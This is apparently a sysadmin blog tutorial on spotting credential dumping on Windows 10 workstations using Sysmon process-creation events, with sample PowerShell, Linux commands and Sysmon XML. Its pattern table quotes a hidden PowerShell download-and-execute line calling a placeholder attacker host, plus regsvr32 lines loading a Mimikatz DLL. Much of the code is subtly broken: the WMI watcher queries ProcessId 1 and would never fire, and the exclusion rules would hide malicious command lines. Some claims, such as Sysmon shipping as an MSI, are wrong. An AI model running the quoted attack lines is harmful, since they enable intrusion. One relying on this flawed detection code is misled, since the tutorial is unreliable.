Using Sysmon Event ID 1 Patterns to Spot Silent Credential Dumping in Windows 10 Workstations

Spotting Silent Credential Dumping on Windows 10 Workstations with Sysmon Event ID 1

Why a Linux‑centric blog cares about Windows Sysmon

Mixed‑platform environments are the norm now. A Windows 10 workstation behind the same perimeter firewall, on the same Active Directory domain, can be the entry point for a lateral attack that eventually hits your Linux servers. Detecting credential dumping early on Windows is not a luxury; it’s a practical part of a sysadmin’s defensive toolbox. Sysmon, a lightweight Microsoft Sysinternals agent, writes detailed process‑creation events to the Windows event log. Event ID 1 (“Process creation”) is the most common entry and, when filtered correctly, can expose the classic “silent” credential‑dumping techniques that slip past traditional AV.

Below is a hands‑on walkthrough that shows how to:

  • Install and configure Sysmon on Windows 10.
  • Build a baseline of normal process‑creation activity.
  • Craft a detection rule that flags suspicious patterns.
  • Correlate findings with Linux‑side monitoring (auditd, syslog).
  • Troubleshoot false positives and performance impact.

The examples assume you have administrative access to the Windows machine and a Linux host that can receive syslog messages.


1. Installing Sysmon

Sysmon ships as a small MSI that you can deploy manually or via Group Policy. For a single workstation, the MSI is easiest.

# Download the latest Sysmon MSI
Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\Temp\Sysmon.zip
Expand-Archive C:\Temp\Sysmon.zip -DestinationPath C:\Temp\Sysmon
cd C:\Temp\Sysmon

# Install Sysmon with a minimal config
.\Sysmon64.exe -i -accepteula -nobanner

The default configuration logs everything to the Windows event log under the “Microsoft-Windows-Sysmon/Operational” channel. For production, you’ll want a custom XML config that limits verbosity and enables the -nobanner flag to suppress the banner on every start.


2. Building a Baseline

A detection rule is only useful if you know what “normal” looks like. The baseline will help you tune thresholds and avoid noise.

# Export the last 24 h of Event ID 1 to a CSV
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
  Select-Object TimeCreated, ProcessId, Image, CommandLine, ParentProcessId, ParentImage |
  Export-Csv -Path C:\Temp\sysmon_baseline.csv -NoTypeInformation

Open the CSV in Excel or a text editor and look for:

  • Frequent explorer.exe launches.
  • cmd.exe or powershell.exe spawned by explorer.exe or svchost.exe.
  • svchost.exe spawning services.exe (normal).
  • Any regsvr32.exe or rundll32.exe calls that look odd.

If you notice a process that appears only once or twice in the baseline but is common in later logs, you’ll know to adjust your rule.


3. Detecting Silent Credential Dumping

Credential dumping tools (e.g., Mimikatz, PowerSploit’s Invoke‑Mimikatz, or sekurlsa::logonpasswords) often run in memory or use regsvr32.exe to load a DLL that extracts credentials. The key patterns are:

PatternWhy it mattersTypical command line
regsvr32.exe /s /n /u /i:"<DLL>"Silent DLL injectionregsvr32.exe /s /n /u /i:"C:\Users\Public\mimikatz.dll"
powershell.exe -nop -w hidden -cPowerShell backdoorpowershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker')
cmd.exe /c with powershell or regsvr32Command‑line chainingcmd.exe /c regsvr32.exe /s /n /u /i:"C:\tmp\mimikatz.dll"
svchost.exe spawning services.exe then cmd.exeLateral movement via service hijacksvchost.exe → services.exe → cmd.exe → regsvr32.exe

Crafting a PowerShell rule

Create a PowerShell script that watches the event log in real time and triggers an alert when any of the above patterns appear.

# monitor-sysmon.ps1
$filter = @{
    LogName = 'Microsoft-Windows-Sysmon/Operational'
    Id      = 1
}

$action = {
    $event = $Event.SourceEventArgs.NewEvent
    $cmd = $event.Properties[5].Value # CommandLine

    # Simple regexes for common patterns
    if ($cmd -match 'regsvr32\.exe\s+/s\s+/n\s+/u\s+/i:"[^"]+"') {
        Write-Host "Suspicious regsvr32 detected: $cmd" -ForegroundColor Red
        # Forward to syslog or send email
    }
    elseif ($cmd -match 'powershell\.exe\s+-nop\s+-w\s+hidden\s+-c') {
        Write-Host "Hidden PowerShell detected: $cmd" -ForegroundColor Red
    }
}

Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.ProcessId = 1" -Action $action

Run the script as a scheduled task or a service. For production, replace Write-Host with a syslog forwarder or a call to your SIEM.


4. Correlating with Linux Monitoring

Once you have a Windows alert, you can cross‑check the Linux side for related activity.

  1. Auditd – Log any sudo or su attempts that might indicate the attacker is trying to elevate on the Linux box.

    ausearch -m USER_ACCT -ts recent | grep -i 'sudo'
    
  2. Syslog – If you forward Sysmon logs to a central syslog server, you can use grep or logwatch to pull the relevant event.

    grep 'regsvr32' /var/log/syslog | tail -n 20
    
  3. Network logs – Check ss or netstat for outbound connections from the Windows machine that match the attacker’s IP.

    ss -tnp | grep 192.168.1.100
    

If you see a matching outbound connection on the Linux host (e.g., a reverse shell), you’ve confirmed lateral movement.


5. Performance and Storage Considerations

Sysmon can generate a high volume of events, especially on a workstation that runs many background services. To keep the event log from ballooning:

  • Limit the number of events: Configure the event log to archive after 1 GB and keep only the last 30 days.
  • Filter out benign processes: In the XML config, add <ProcessCreate> filters that exclude explorer.exe, svchost.exe, and other known safe processes.
  • Use the -nobanner flag: Prevents Sysmon from writing a banner every time it starts, which saves a few kilobytes per event.

Example snippet from sysmon.xml:

<RuleGroup name="Ignore benign processes" groupRelation="or">
  <ProcessCreate onmatch="exclude">
    <CommandLine condition="contains">explorer.exe</CommandLine>
  </ProcessCreate>
  <ProcessCreate onmatch="exclude">
    <CommandLine condition="contains">svchost.exe</CommandLine>
  </ProcessCreate>
</RuleGroup>

6. Troubleshooting Common Issues

SymptomLikely CauseFix
No Event 1 logs appearSysmon not installed or not runningVerify the service Sysmon is running (Get-Service Sysmon).
Alerts fire on every cmd.exeRegex too broadNarrow the regex to include /s /n /u flags or specific DLL names.
Log file grows too fastNo filteringAdd exclusion rules for common processes.
Alerts miss a credential dumpTool uses a different techniqueUpdate the regex to include rundll32.exe or wmic patterns.
Syslog forwarding failsNetwork blockEnsure UDP/TCP port 514 is open between Windows and Linux host.

7. Trade‑offs and Practical Tips

DecisionBenefitDrawback
Real‑time monitoring vs. batch analysisImmediate alerts, faster responseRequires continuous resource usage
Full Sysmon logs vs. filtered logsComplete forensic trailHigher storage, more noise
Local Windows alerts vs. central SIEMNo extra infrastructureLimited correlation with other hosts
PowerShell rule vs. third‑party SIEM ruleCustomizable, no licensingRequires maintenance, less tested

For most homelabs, a simple PowerShell rule that forwards to syslog is sufficient. In larger environments, integrate Sysmon with a SIEM (Splunk, ELK, or Microsoft Sentinel) and use pre‑built detection rules from the community.


8. Final Checklist

  1. Install Sysmon with a minimal config.
  2. Export a 24‑hour baseline of Event ID 1.
  3. Create regex patterns for regsvr32, hidden PowerShell, and command chaining.
  4. Deploy a monitoring script that forwards alerts to syslog.
  5. Correlate alerts with Linux auditd and network logs.
  6. Tune exclusions to reduce noise.
  7. Document the rule and baseline for future reference.

By following these steps, you’ll have a lightweight, Linux‑friendly method to spot silent credential dumping on Windows 10 workstations, giving you a valuable early warning before an attacker can pivot to your Linux servers.

See also